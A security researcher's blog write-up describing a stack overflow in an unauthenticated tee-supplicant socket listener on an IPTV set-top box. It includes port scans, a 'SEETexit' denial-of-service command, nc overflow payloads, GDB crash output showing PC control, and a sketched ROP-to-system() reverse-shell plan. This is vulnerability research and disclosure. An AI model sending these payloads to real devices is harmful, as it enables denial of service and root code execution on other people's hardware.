TEE-ing off - Or why adding a socket listener to tee-supplicant is not a recipe for success
Here's another story of woe (whoa?) that is interesting in the threat surface it exposed. First a little background...
A Trusted Execution Environment (TEE) is a an environment used to provide isolated execution in support of enabling security-critical features such as secure boot, biometrics, digital wallets, etc. In the x86 world, we have things like AMD's Platform Security Processor (PSP) and Intel's Software Guard Extensions (SGX). In the ARM world, we have implementations like Qualcomm's QSEE or the open-source OP-TEE running on TrustZone. Google and Apple, naturally, have their own implementations in Titan-M and the Secure Enclave Processor. The main takeaway is that a TEE is a high-value target - it literally holds the keys to the kingdom.
That's why today's example was such a head-scratcher. Recently, I was examining a popular IPTV set-top box. These are very common in commercial settings like hotels, but are also increasingly popular with consumers.
A port scan revealed that it was listening on 6666/tcp.
> nmap -Pn -sS -p0-65535 192.168.25.161
PORT? ?STATE SERVICE
6666/tcp open irc2
This is a common Internet Relay Chat (IRC) port. However, I was quickly able to verify that there was no IRC service running on the other side. It was something else. After a bit of tinkering I was able to get a shell on the device. Listing the netstat showed a strange result - tee-supplicant is listening on 6666/tcp!
> netstat -plant
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address? ? ? ? ? ?Foreign Address? ? ? ? ?State? ? ? ?PID/Program name? ??
tcp? ? ? ? 0? ? ? 0 0.0.0.0:6666? ? ? ? ? ? 0.0.0.0:*? ? ? ? ? ? ? ?LISTEN? ? ? 3412/tee-supplicant
As its name suggests, tee-supplicant is an integral part of the TEE. This is used to facilitate the client API between the user mode and the secure world. In particular, it handles Trusted Application loading and message passing to the TEE. It also runs as root and in a privileged security context. Which is why seeing it just standing there with its fly open is such a huge red flag.
In the Binary Ninja disassembly image shown, we can see the init_listener() function that opens port 6666 and calls the handle_client() function whenever a connection is established. No security. No authentication. Everyone's welcome!
I think you can see where this is going - where there's smoke...
First off, we can see from the recv_msg() function that it's expecting a 'SEET' prefix (aka TEESupplicant, clever) to the supposed command. In fact, right off the bat, we can initiate a basic Denial of Service (DoS) against tee-supplicant by issuing a 'SEETexit' command. This would probably have a cascading impact on the entire STB. But we're not satisfied with simple mischief, we want a challenge!?
领英推荐
As the socket handler is running in a thread separate from the main execution loop, it must signal the main loop to inform it of a pending request after storing the data in memory. In this case, the main loop does not appear to perform any input validation.?
What if we were to just send a maximum length request and see what pops out?
$ python -c "print('SEET', end='')" | nc 192.168.25.161 6666
$ python -c "print('SEET'+'B'*1020, end='')" | nc 192.168.25.161 6666
We get a crash! Attaching a GDB session to the running process reveals it's a bad one! The backtrace and registry info show that we have control over the Program Counter (PC) and Register 7 (R7). Simply put, we've found a remote code execution (RCE) vulnerability. The lack of proper input validation and unsafe resource management has resulted in the listener thread walking over the main loop's stack.
[New LWP 20871
[TEE-SUPPLICANT] waiting for clients ...
[New LWP 20895]
[TEE-SUPPLICANT] CLIENT-5: (4) register
[LWP 20895 exited]
[New LWP 20908]
[TEE-SUPPLICANT] CLIENT-6: (1024) response
Thread 4 "tee-supplicant" received signal SIGBUS, Bus error.
[Switching to LWP 20908]
0x42424242 in ?? ()
(gdb) bt
#0? 0x42424242 in ?? ()
#1? 0x000150b2 in ?? ()
Backtrace stopped: previous frame identical to this frame (corrupt stack?)
(gdb) inf r
r0? ? ? ? ? ? ?0xffffffff? ? ? ? ? 4294967295
r1? ? ? ? ? ? ?0x0? ? ? ? ? ? ? ? ?0
r2? ? ? ? ? ? ?0x16? ? ? ? ? ? ? ? 22
r3? ? ? ? ? ? ?0x10? ? ? ? ? ? ? ? 16
r4? ? ? ? ? ? ?0xf6cff470? ? ? ? ? 4140823664
r5? ? ? ? ? ? ?0xf7688df0? ? ? ? ? 4150824432
r6? ? ? ? ? ? ?0x0? ? ? ? ? ? ? ? ?0
r7? ? ? ? ? ? ?0x42424242? ? ? ? ? 1111638594
r8? ? ? ? ? ? ?0x0? ? ? ? ? ? ? ? ?0
r9? ? ? ? ? ? ?0xf6cfefb0? ? ? ? ? 4140822448
r10? ? ? ? ? ? 0xf7688df0? ? ? ? ? 4150824432
r11? ? ? ? ? ? 0x0? ? ? ? ? ? ? ? ?0
r12? ? ? ? ? ? 0x27a90? ? ? ? ? ? ?162448
sp? ? ? ? ? ? ?0xf6cfea68? ? ? ? ? 0xf6cfea68
lr? ? ? ? ? ? ?0x150b3? ? ? ? ? ? ?86195
pc? ? ? ? ? ? ?0x42424242? ? ? ? ? 0x42424242
cpsr? ? ? ? ? ?0x80080010? ? ? ? ? -2146959344
(gdb) x/128xb $sp-16
0xf6cfea58: 0x00 0x00 0x00 0x00 0x53 0x45 0x45 0x54
0xf6cfea60: 0x42 0x42 0x42 0x42 0x42 0x42 0x42 0x42
0xf6cfea68: 0x42 0x42 0x42 0x42 0x42 0x42 0x42 0x42
0xf6cfea70: 0x42 0x42 0x42 0x42 0x42 0x42 0x42 0x42
0xf6cfea78: 0x42 0x42 0x42 0x42 0x42 0x42 0x42 0x42
0xf6cfea80: 0x42 0x42 0x42 0x42 0x42 0x42 0x42 0x42
0xf6cfea88: 0x42 0x42 0x42 0x42 0x42 0x42 0x42 0x42
0xf6cfea90: 0x42 0x42 0x42 0x42 0x42 0x42 0x42 0x42
0xf6cfea98: 0x42 0x42 0x42 0x42 0x42 0x42 0x42 0x42
0xf6cfeaa0: 0x42 0x42 0x42 0x42 0x42 0x42 0x42 0x42
0xf6cfeaa8: 0x42 0x42 0x42 0x42 0x42 0x42 0x42 0x42
0xf6cfeab0: 0x42 0x42 0x42 0x42 0x42 0x42 0x42 0x42
0xf6cfeab8: 0x42 0x42 0x42 0x42 0x42 0x42 0x42 0x42
0xf6cfeac0: 0x42 0x42 0x42 0x42 0x42 0x42 0x42 0x42
0xf6cfeac8: 0x42 0x42 0x42 0x42 0x42 0x42 0x42 0x42
0xf6cfead0: 0x42 0x42 0x42 0x42 0x42 0x42 0x42 0x42]
So there's a vulnerability - is it exploitable? Short answer - yes! However, the stack is non-executable, so we'll need to find another path to execution. Fortunately, libc is mapped and the system() call is in-scope. Since we have stack control, we can include a reverse-shell command, then use a short Return-Oriented Programming (ROP) chain to configure the registers for the system() call - as this RISC architecture passes function parameters through registers.
(gdb) info proc mapping
process 23516
Mapped address spaces:
Start Addr? ?End Addr? ? ? ?Size? ? ?Offset objfile
? ?0x10000? ? 0x18000? ? ?0x8000? ? ? ? 0x0 /usr/bin/tee-supplicant
? ?0x27000? ? 0x28000? ? ?0x1000? ? ?0x7000 /usr/bin/tee-supplicant
? ?0x28000? ? 0x49000? ? 0x21000? ? ? ? 0x0 [heap]
...
0xf768a000 0xf7761000? ? 0xd7000? ? ? ? 0x0 /lib/libc-2.23.so
0xf7761000 0xf7770000? ? ?0xf000? ? 0xd7000 /lib/libc-2.23.so
0xf7770000 0xf7772000? ? ?0x2000? ? 0xd6000 /lib/libc-2.23.so
0xf7772000 0xf7773000? ? ?0x1000? ? 0xd8000 /lib/libc-2.23.so
...
0xfffcf000 0xffff0000? ? 0x21000? ? ? ? 0x0 [stack]
0xffff0000 0xffff1000? ? ?0x1000? ? ? ? 0x0 [vectors]
# cat /proc/23516/maps
00010000-00018000 r-xp 00000000 b3:0d 3156? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ?/usr/bin/tee-supplicant
00027000-00028000 rw-p 00007000 b3:0d 3156? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ?/usr/bin/tee-supplicant
00028000-00049000 rw-p 00000000 00:00 0? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? [heap]
...
f768a000-f7761000 r-xp 00000000 b3:0d 537? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? /lib/libc-2.23.so
f7761000-f7770000 ---p 000d7000 b3:0d 537? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? /lib/libc-2.23.so
f7770000-f7772000 r--p 000d6000 b3:0d 537? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? /lib/libc-2.23.so
f7772000-f7773000 rw-p 000d8000 b3:0d 537? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? /lib/libc-2.23.so
...
fffcf000-ffff0000 rw-p 00000000 00:00 0? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? [stack]
ffff0000-ffff1000 r-xp 00000000 00:00 0? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? [vectors]
...s
And that's it - we have a full remote code execution exploit that grants us a root system() call of our choice. Or alternatively, privileged execution within the tee-supplicant security context itself. Specific shellcode is left as an exercise for the reader ;)
The seasoned veterans among us will recognise that this work is leveraging a lot of old tricks - and you're right! That's one of the biggest takeaways from my work on embedded system security - the security maturity is often quite a ways behind the current standard. Sometimes due to computational resource constraints, sometimes due to knowledge or priority gaps in the the development process.
In this case, the decision to include a socket listener in the tee-supplicant process was definitely catastrophic. I'd be curious to know if anyone is aware of a legitimate use-case for this that isn't better accomplished through other, more secure means.